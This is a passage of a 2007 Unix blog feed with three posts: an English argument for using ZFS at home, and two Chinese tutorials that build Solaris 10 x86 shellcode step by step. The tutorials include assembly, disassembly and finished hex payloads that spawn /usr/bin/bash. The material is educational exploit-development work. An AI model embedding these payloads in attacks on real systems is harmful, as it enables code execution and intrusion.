href='http://all-unix.blogspot.com/2007/03/zfs-cow-and-relate-features.html' title='COW and ZFS relate features'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-9131725087698459599</id><published>2007-03-12T15:14:00.000+08:00</published><updated>2007-03-16T16:31:50.058+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ZFS'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Why ZFS for home</title><content type='html'>--from uadmin.blogspot.com&lt;br /&gt;&lt;br /&gt;I’m getting annoyed at people that keep saying ZFS is okay for servers but I don’t need it for home. ZFS scales from one drive to an infinite number of drives and has benefits for all of them.&lt;br /&gt;&lt;br /&gt;Let’s take a look at the average home computer a single drive holding a mix of files, up to 300GB drives are common. That is a lot of data to lose and its getting easier lose data these days. Further more new hard drives aren’t getting any more reliable with time. Of course you can lose things on new hard drives by just misplacing them in one of the 1000’s of directories you can use in an attempt to organize your files.&lt;br /&gt;&lt;br /&gt;What do other operating systems and file systems provide to fight this situation? In Linux you can use raid, redundant array of inexpensive drives, then if a hard drive fails your data is safe. Okay the fun part begins when you try to enable raid, the obvious choices are raid 1 (mirroring your data) or raid 5 (that uses part of your drives as parity protecting your data uses less space but requires a minimum of 3 drives to work). I won’t bore you with the technical details I will just show a small sample of the commands to create a raid 1, a mirror image of one drive onto a second drive.&lt;br /&gt;&lt;br /&gt;These instructions were taken for http://unthought.net/Software-RAID.HOWTO/Software-RAID.HOWTO-5.html#ss5.6&lt;br /&gt;&lt;br /&gt;You have two devices of approximately same size, and you want the two to be mirrors of each other. Eventually you have more devices, which you want to keep as stand-by spare-disks, that will automatically become a part of the mirror if one of the active devices break.&lt;br /&gt;&lt;br /&gt;Set up the /etc/raidtab file like this:&lt;br /&gt;&lt;br /&gt;raiddev /dev/md0&lt;br /&gt;        raid-level      1&lt;br /&gt;        nr-raid-disks   2&lt;br /&gt;        nr-spare-disks  0&lt;br /&gt;        persistent-superblock 1&lt;br /&gt;        device          /dev/sdb6&lt;br /&gt;        raid-disk       0&lt;br /&gt;        device          /dev/sdc5&lt;br /&gt;        raid-disk       1&lt;br /&gt;&lt;br /&gt;If you have spare disks, you can add them to the end of the device specification like&lt;br /&gt;&lt;br /&gt;        device          /dev/sdd5&lt;br /&gt;        spare-disk      0&lt;br /&gt;&lt;br /&gt;Remember to set the nr-spare-disks entry correspondingly.&lt;br /&gt;&lt;br /&gt;Ok, now we're all set to start initializing the RAID. The mirror must be constructed, eg. the contents (however unimportant now, since the device is still not formatted) of the two devices must be synchronized.&lt;br /&gt;&lt;br /&gt;Issue the&lt;br /&gt;&lt;br /&gt;  mkraid /dev/md0&lt;br /&gt;&lt;br /&gt;command to begin the mirror initialization.&lt;br /&gt;&lt;br /&gt;Check out the /proc/mdstat file. It should tell you that the /dev/md0 device has been started, that the mirror is being reconstructed, and an ETA of the completion of the reconstruction.&lt;br /&gt;&lt;br /&gt;Reconstruction is done using idle I/O bandwidth. So, your system should still be fairly responsive, although your disk LEDs should be glowing nicely.&lt;br /&gt;&lt;br /&gt;The reconstruction process is transparent, so you can actually use the device even though the mirror is currently under reconstruction.&lt;br /&gt;&lt;br /&gt;Try formatting the device, while the reconstruction is running. It will work. Also you can mount it and use it while reconstruction is running. Of Course, if the wrong disk breaks while the reconstruction is running, you're out of luck.&lt;br /&gt;&lt;br /&gt;Looks like fun right? Before ZFS the situation wasn't much better in Solaris. A typical home user will see this and say I will do this next week. Then next week never comes. Of course doing raid5 only gets more complex in Linux at least, for ZFS its just a slight change to the commands used to create a mirror. In ZFS we execute two or three commands and we are done.&lt;br /&gt;&lt;br /&gt;# zpool create data mirror c0t0d0 c0t1d0&lt;br /&gt;# zfs create data/filesystem&lt;br /&gt;&lt;br /&gt;Done. The only complex part is getting the last two entries and you can find those by running the Solaris format command. The red is added to help readability&lt;br /&gt;&lt;br /&gt;#format &lt; /dev/null Searching for disks...done&lt;br /&gt;&lt;br /&gt;AVAILABLE DISK SELECTIONS:&lt;br /&gt;0. c0t0d0&lt;br /&gt;/sbus@1f,0/SUNW,fas@e,8800000/sd@0,0&lt;br /&gt;1. c1t2d0&lt;br /&gt;/sbus@1f,0/SUNW,fas@1,8800000/sd@2,0&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;That takes care of drive failure; another problem is accidental deletion, accidentally installing a broken application or any change you would like to undo. Linux’s answer to this is backups, either on optical media, tape or perhaps another harddrive. This is expensive or time consuming, choose one. So the typical home user will most likely put this off to till another day and won’t have a backup for there data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ZFS has snapshots, they are easy and painless and have a very low cost in resources to create. Snapshots are basically a picture of your data; these are taken in real time and are nearly instant in ZFS, to get these in any other OS you need to buy expensive raid hardware or an expensive software package something that no home user will want to buy.&lt;br /&gt;&lt;br /&gt;For example I want to protect my mp3 collection so I put it on file system all its own.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# du -sh /mp3&lt;br /&gt;17G /mp3&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;And then I took a snapshot of it for protection.&lt;br /&gt;&lt;br /&gt;# time zfs snapshot data/mp3@may-1-2006&lt;br /&gt;real 0m0.317s&lt;br /&gt;user 0m0.017s&lt;br /&gt;sys 0m0.030s&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;Not bad, 1/3 of a second to protect 17 Gigabyte of data. That can easily be restored should I make a mistake and delete or corrupt a file or all of them.&lt;br /&gt;&lt;br /&gt;And here is a little script I created to take snapshots of all my zfs file systems and puts a date stamp on each one. Each snapshot takes very little space, so you can make as many as you need to be safe.&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;date=`date +%b-%d-%Y`&lt;br /&gt;&lt;br /&gt;for i in `/usr/sbin/zfs list -H -t filesystem -o name` ;&lt;br /&gt;do /usr/sbin/zfs snapshot $i@$date ;&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;A few minutes in crontab or your desktop graphical crontab creator and you can have this script execute daily with no user intervention. Below is a sample line to add to your crontab that that takes snapshots at 3:15 am&lt;br /&gt;&lt;br /&gt;15 3 * * * /export/home/username/bin/snapshot_all&lt;br /&gt;&lt;br /&gt;To see your snapshots, is easy you just look in .zfs/snapshot that is in each zfs filesystem. You can even see individual files that make up a snapshot by changing directories further into the snapshot. This even works if the file system is shared via NFS.&lt;br /&gt;&lt;br /&gt;Now let’s take a look at how to recover from mistakes using snapshots. First lets create filesystem, and populate it with a few files.&lt;br /&gt;&lt;br /&gt;#zfs create data/test1&lt;br /&gt;#cd /data/test1&lt;br /&gt;#mkfile 100m file1 file2 file3 file4 file5&lt;br /&gt;#ls&lt;br /&gt;file1 file2 file3 file4 file5&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;We now have 5 files, each 100 megabytes, lets take a snapshot, and then delete a couple files.&lt;br /&gt;&lt;br /&gt;# zfs snapshot data/test1@backup&lt;br /&gt;# rm file2 file3&lt;br /&gt;# ls&lt;br /&gt;file1 file4 file5&lt;br /&gt;&lt;br /&gt;The files are gone. Oops a day later or a month later I realize I need those files.&lt;br /&gt;&lt;br /&gt;# cd ..&lt;br /&gt;#zfs rollback data/test1@backup&lt;br /&gt;&lt;br /&gt;So all we do is rollback the using a saved snapshot and the files are back.&lt;br /&gt;&lt;br /&gt;# ls&lt;br /&gt;file1 file2 file3 file4 file5&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;ZFS makes it easy to create lots of filesystems, in Linux you are limited to 16 file systems per drive (yes I know you can use the Linux volume manager but of course that adds even more complexity to the raid setup outlined above, as drives get bigger you end with hundreds or even thousands of files and directories per drive making it easy to lose files in the levels of directories. With ZFS there is no real limit to the number of filesystems and they all share the storage pool, they are quick and easy to create.&lt;br /&gt;&lt;br /&gt;#time zfs create data/word_processor_files&lt;br /&gt;real 0m0.571s&lt;br /&gt;user 0m0.019s&lt;br /&gt;sys 0m0.040s&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;Little over half a second to create a filesystem and you can create as many as you like.&lt;br /&gt;&lt;br /&gt;The next problem the home user may face is running out of space. Typically the user heads down to the local electronic or computer shop and gets another hard drive or two if they want to be safe and use raid, so they get to head back to the raid setup guide, of course. Depending on the filesystem you may be able to grow the filesystem with more cryptic commands turning your filesystems into a raid 1+0, but its pretty complicated, so most people resort to keeping them simple and moving files back and forth between the filesystems to get the space they need.&lt;br /&gt;&lt;br /&gt;With ZFS it is only one command to add the drive(s) to the pool of storage.&lt;br /&gt;&lt;br /&gt;#zpool add data mirror drive3 drive4&lt;br /&gt;&lt;br /&gt;Afterward all your filesystems have access to the additional space. If money is a little tight, you can turn on compression on any filesystem you like with a simple command then all files that are added to the filesystem are compressed possibly using less space. Note this usually doesn’t slow down IO at all, on some systems and workloads it actually speeds up data access.&lt;br /&gt;&lt;br /&gt;# zfs set compression=on data/filesystem&lt;br /&gt;&lt;br /&gt;ZFS is so simple you can talk your grandmother through the process of creating filesystems or restoring data. This is just a small sample of what ZFS can do, but it’s all just as simple as what I have shown you in this document. Even if you are more advanced, you can still benefit from ZFS’ ease of use. No more hitting the web to study how-to's to setup raid or LVM. Even if you can't afford two drives in your home box ZFS will be perfectly happy with one drive, though you do lose hardware redundancy, snapshots are still there to take care of software or user introduced filesystem problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-9131725087698459599?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/9131725087698459599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=9131725087698459599' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/9131725087698459599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/9131725087698459599'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/why-zfs-for-home.html' title='Why ZFS for home'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-699621155137113775</id><published>2007-02-13T23:45:00.000+08:00</published><updated>2007-03-16T14:46:59.895+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Shellcode on Solaris 10 (x86) Using sysenter</title><content type='html'>lcall $0x07, $0x0是很久以前就在使用的系统调用方式。Intel提供了sysenter快速系统调用指令，如果在shellcode的编写中使用该指令，可以缩短shellcode的长度，让我们试一下。代码如下：&lt;br /&gt;/*main.c&lt;br /&gt;coded by alvin.&lt;br /&gt;alvin.ding@gmail.com&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;__asm__("jmp .+0x24\n\t"); /* 跳转到call指令 ＊/&lt;br /&gt;__asm__("popl %esi\n\t"); /* 字符串的地址放入%esi */&lt;br /&gt;__asm__("movl %esi, -0x8(%ebp)\n\t"); /* 将字符串的地址保存在栈内存中 */&lt;br /&gt;__asm__("xorl %eax, %eax\n\t");&lt;br /&gt;__asm__("movl %eax, -0x4(%ebp)\n\t");&lt;br /&gt;__asm__("subl $0x4, %esp\n\t");&lt;br /&gt;__asm__("push %eax\n\t"); /* NULL字符入栈 */&lt;br /&gt;__asm__("leal -0x8(%ebp), %eax\n\t"); /* 字符串变量地址保存在％eax中 */&lt;br /&gt;__asm__("pushl %eax\n\t"); /* 地址入栈，为系统调用做准备 */&lt;br /&gt;__asm__("pushl -0x8(%ebp)\n\t"); /* 字符串地址入栈 */&lt;br /&gt;&lt;br /&gt;__asm__("movl %esi, %edx\n\t");&lt;br /&gt;__asm__("subl $0x0e, %edx\n\t"); /* 返回地址放入%edx中 */&lt;br /&gt;__asm__("xorl %eax, %eax\n\t");&lt;br /&gt;__asm__("movb $0x3b, %al\n\t"); /* 系统调用号0x3b放入%eax */&lt;br /&gt;__asm__("pushl %edx\n\t");&lt;br /&gt;__asm__("movl %esp, %ecx\n\t"); /* 当前堆栈指针保存在%ecx */&lt;br /&gt;__asm__("sysenter\n\t");&lt;br /&gt;&lt;br /&gt;__asm__("call .-0x22\n\t"); /* 返回到jmp指令后的指令继续运行，这样做是为了得到本指令后定义的字符串"/usr/bin/bash"的地址 */&lt;br /&gt;__asm__(".string \"/usr/bin/bash\""); /* 我们要执行的shell */&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;这样我们得出的shellcode如下：&lt;br /&gt;static char shellcode[] =&lt;br /&gt;"\xeb\x22\x5e\x89\x75\xf8\x33\xc0\x89\x45\xfc"&lt;br /&gt;"\x83\xec\x04\x50\x8d\x45\xf8\x50\xff\x75\xf8"&lt;br /&gt;"\x8b\xd6\x83\xea\x0e\x33\xc0\xb0\x3b\x52\x8b"&lt;br /&gt;"\xcc\x0f\x34\xe8\xd9\xff\xff\xff\x2f\x75\x73"&lt;br /&gt;"\x72\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";&lt;br /&gt;&lt;br /&gt;(编译的方法在前面的文章已经有过叙述)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-699621155137113775?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/699621155137113775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=699621155137113775' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/699621155137113775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/699621155137113775'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/shellcode-on-solaris-10-x86-using.html' title='Shellcode on Solaris 10 (x86) Using sysenter'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-1466568417134995067</id><published>2007-02-11T15:43:00.000+08:00</published><updated>2007-03-16T14:44:40.473+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>编写Solaris 10 x86的Shellcode</title><content type='html'>shell.c&lt;br /&gt;static char shell[] = "\x33\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42&lt;br /&gt;\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01&lt;br /&gt;\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x33\xc0\x66\x6a\x68\x68&lt;br /&gt;\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72&lt;br /&gt;\x8b\xdc\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51&lt;br /&gt;\x53\xb0\x0b\xe8\xc7\xff\xff\xff";&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;void (*fun)();&lt;br /&gt;fun = (void*)shell;&lt;br /&gt;fun();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;以上文件中的shell数组的内容就是我们需要的shellcode,以下讨论获得这个shellcode的过程。&lt;br /&gt;&lt;br /&gt;本实验使用的工具gcc(v3.3.2)和gdb(v6.4)。&lt;br /&gt;&lt;br /&gt;因为在C语言中字符数组是以‘\0’结尾的，在实际攻击代码中使用时，诸如strcpy等函数会忽略字符串中0x00以后的字符。所以应该在指令代码中避免0x00，比如movl $0x0, %eax应该使用xorl %eax, %eax代替。&lt;br /&gt;&lt;br /&gt;这里shellcode使用lcall系统调用/usr/bin/bash获得一个shell。&lt;br /&gt;&lt;br /&gt;汇编代码如下(为调试方便，每行只含一条指令)：&lt;br /&gt;shellcode.c&lt;br /&gt;void main(){&lt;br /&gt;__asm__("xorl %eax,%eax\n\t");&lt;br /&gt;__asm__("jmp .+0xb\n\t");&lt;br /&gt;__asm__("popl %edx\n\t");&lt;br /&gt;__asm__("movl %eax, 0x1(%edx)\n\t");&lt;br /&gt;__asm__("movb %al, 0x6(%edx)\n\t");&lt;br /&gt;__asm__("jmp .+0x0f\n\t");&lt;br /&gt;__asm__("call .-0x9\n\t");&lt;br /&gt;__asm__("lcall $0x107,$0x1010101\n\t");&lt;br /&gt;__asm__("ret\n\t");&lt;br /&gt;__asm__("pushl %eax\n\t");&lt;br /&gt;__asm__("movb $0x17,%al\n\t");&lt;br /&gt;__asm__("call .-0xb\n\t");&lt;br /&gt;__asm__("xorl %eax,%eax\n\t");&lt;br /&gt;__asm__("pushw $0x68\n\t");&lt;br /&gt;__asm__("pushl $0x7361622f\n\t");&lt;br /&gt;__asm__("pushl $0x6e69622f\n\t");&lt;br /&gt;__asm__("pushl $0x7273752f\n\t");&lt;br /&gt;__asm__("movl %esp,%ebx\n\t");&lt;br /&gt;__asm__("pushl %eax\n\t");&lt;br /&gt;__asm__("pushl %ebx\n\t");&lt;br /&gt;__asm__("leal (%esp),%ecx\n\t");&lt;br /&gt;__asm__("leal 0x4(%esp),%edx\n\t");&lt;br /&gt;__asm__("pushl %edx\n\t");&lt;br /&gt;__asm__("pushl %ecx\n\t");&lt;br /&gt;__asm__("pushl %ebx\n\t");&lt;br /&gt;__asm__("movb $0xb,%al\n\t");&lt;br /&gt;__asm__("call .-0x34\n\t");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;系统调用lcall $0x07,0x0被lcall $0x107,$0x1010101代替是因为前者的二进制代码中包含0x00，通过&lt;br /&gt;__asm__("movl %eax, 0x1(%edx)\n\t");&lt;br /&gt;__asm__("movb %al, 0x6(%edx)\n\t");&lt;br /&gt;两条指令在运行时将lcall $0x107,$0x1010101修改成为lcall $0x07,0x0。需要说明的是只有将上述代码放置于数据段，才能直接执行。因为通常代码段是只读的，不能在运行时修改代码段的指令。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;四条连续的push指令压栈的是字符串“/usr/bin/bash”的ASCII值。&lt;br /&gt;&lt;br /&gt;使用gcc编译该文件：&lt;br /&gt;gcc -o shellcode -g -ggdb shellcode.c&lt;br /&gt;&lt;br /&gt;通过gdb进行调试并得到二进制指令：&lt;br /&gt;gdb shellcode&lt;br /&gt;GNU gdb 6.4&lt;br /&gt;Copyright 2005 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB. Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i386-pc-solaris2.10"...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x08050673 &lt;main+0&gt;: push %ebp&lt;br /&gt;0x08050674 &lt;main+1&gt;: mov %esp,%ebp&lt;br /&gt;0x08050676 &lt;main+3&gt;: sub $0x8,%esp&lt;br /&gt;0x08050679 &lt;main+6&gt;: and $0xfffffff0,%esp&lt;br /&gt;0x0805067c &lt;main+9&gt;: mov $0x0,%eax&lt;br /&gt;0x08050681 &lt;main+14&gt;: sub %eax,%esp&lt;br /&gt;0x08050683 &lt;main+16&gt;: xor %eax,%eax&lt;br /&gt;0x08050685 &lt;main+18&gt;: jmp 0x8050690 &lt;main+29&gt;&lt;br /&gt;0x08050687 &lt;main+20&gt;: pop %edx&lt;br /&gt;0x08050688 &lt;main+21&gt;: mov %eax,0x1(%edx)&lt;br /&gt;0x0805068b &lt;main+24&gt;: mov %al,0x6(%edx)&lt;br /&gt;0x0805068e &lt;main+27&gt;: jmp 0x805069d &lt;main+42&gt;&lt;br /&gt;0x08050690 &lt;main+29&gt;: call 0x8050687 &lt;main+20&gt;&lt;br /&gt;0x08050695 &lt;main+34&gt;: lcall $0x107,$0x1010101&lt;br /&gt;0x0805069c &lt;main+41&gt;: ret&lt;br /&gt;0x0805069d &lt;main+42&gt;: push %eax&lt;br /&gt;0x0805069e &lt;main+43&gt;: mov $0x17,%al&lt;br /&gt;0x080506a0 &lt;main+45&gt;: call 0x8050695 &lt;main+34&gt;&lt;br /&gt;0x080506a5 &lt;main+50&gt;: xor %eax,%eax&lt;br /&gt;0x080506a7 &lt;main+52&gt;: pushw $0x68&lt;br /&gt;0x080506aa &lt;main+55&gt;: push $0x7361622f&lt;br /&gt;0x080506af &lt;main+60&gt;: push $0x6e69622f&lt;br /&gt;0x080506b4 &lt;main+65&gt;: push $0x7273752f&lt;br /&gt;0x080506b9 &lt;main+70&gt;: mov %esp,%ebx&lt;br /&gt;0x080506bb &lt;main+72&gt;: push %eax&lt;br /&gt;0x080506bc &lt;main+73&gt;: push %ebx&lt;br /&gt;0x080506bd &lt;main+74&gt;: lea (%esp),%ecx&lt;br /&gt;0x080506c0 &lt;main+77&gt;: lea 0x4(%esp),%edx&lt;br /&gt;0x080506c4 &lt;main+81&gt;: push %edx&lt;br /&gt;0x080506c5 &lt;main+82&gt;: push %ecx&lt;br /&gt;0x080506c6 &lt;main+83&gt;: push %ebx&lt;br /&gt;0x080506c7 &lt;main+84&gt;: mov $0xb,%al&lt;br /&gt;0x080506c9 &lt;main+86&gt;: call 0x8050695 &lt;main+34&gt;&lt;br /&gt;0x080506ce &lt;main+91&gt;: leave&lt;br /&gt;0x080506cf &lt;main+92&gt;: ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb)&lt;br /&gt;&lt;br /&gt;通过gdb确定代码中jmp和call指令的偏移值。&lt;br /&gt;&lt;br /&gt;-bash-3.00# dis -F main ./shellcode&lt;br /&gt;**** DISASSEMBLER ****&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;disassembly for ./shellcode&lt;br /&gt;&lt;br /&gt;section .text&lt;br /&gt;main()&lt;br /&gt;main: 55 pushl %ebp&lt;br /&gt;main+0x1: 8b ec movl %esp,%ebp&lt;br /&gt;main+0x3: 83 ec 08 subl $0x8,%esp&lt;br /&gt;main+0x6: 83 e4 f0 andl $0xfffffff0,%esp&lt;br /&gt;main+0x9: b8 00 00 00 00 movl $0x0,%eax&lt;br /&gt;main+0xe: 2b e0 subl %eax,%esp&lt;br /&gt;main+0x10: 33 c0 xorl %eax,%eax&lt;br /&gt;main+0x12: eb 09 jmp +0xb &lt;main+0x1d&gt;&lt;br /&gt;main+0x14: 5a popl %edx&lt;br /&gt;main+0x15: 89 42 01 movl %eax,0x1(%edx)&lt;br /&gt;main+0x18: 88 42 06 movb %al,0x6(%edx)&lt;br /&gt;main+0x1b: eb 0d jmp +0xf &lt;main+0x2a&gt;&lt;br /&gt;main+0x1d: e8 f2 ff ff ff call -0x9 &lt;main+0x14&gt;&lt;br /&gt;main+0x22: 9a 01 01 01 01 07 01 lcall $0x107,$0x1010101&lt;br /&gt;main+0x29: c3 ret&lt;br /&gt;main+0x2a: 50 pushl %eax&lt;br /&gt;main+0x2b: b0 17 movb $0x17,%al&lt;br /&gt;main+0x2d: e8 f0 ff ff ff call -0xb &lt;main+0x22&gt;&lt;br /&gt;main+0x32: 33 c0 xorl %eax,%eax&lt;br /&gt;main+0x34: 66 6a 68 pushw $0x68&lt;br /&gt;main+0x37: 68 2f 62 61 73 pushl $0x7361622f&lt;br /&gt;main+0x3c: 68 2f 62 69 6e pushl $0x6e69622f&lt;br /&gt;main+0x41: 68 2f 75 73 72 pushl $0x7273752f&lt;br /&gt;main+0x46: 8b dc movl %esp,%ebx&lt;br /&gt;main+0x48: 50 pushl %eax&lt;br /&gt;main+0x49: 53 pushl %ebx&lt;br /&gt;main+0x4a: 8d 0c 24 leal (%esp),%ecx&lt;br /&gt;main+0x4d: 8d 54 24 04 leal 0x4(%esp),%edx&lt;br /&gt;main+0x51: 52 pushl %edx&lt;br /&gt;main+0x52: 51 pushl %ecx&lt;br /&gt;main+0x53: 53 pushl %ebx&lt;br /&gt;main+0x54: b0 0b movb $0xb,%al&lt;br /&gt;main+0x56: e8 c7 ff ff ff call -0x34 &lt;main+0x22&gt;&lt;br /&gt;main+0x5b: c9 leave&lt;br /&gt;main+0x5c: c3 ret&lt;br /&gt;-bash-3.00#&lt;br /&gt;&lt;br /&gt;从main+0x10开始的33 c0就是我们需要的shellcode了。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-1466568417134995067?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/1466568417134995067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=1466568417134995067' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/1466568417134995067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/1466568417134995067'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/solaris-10-x86shellcode.html' title='编写Solaris 10 x86的Shellcode'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
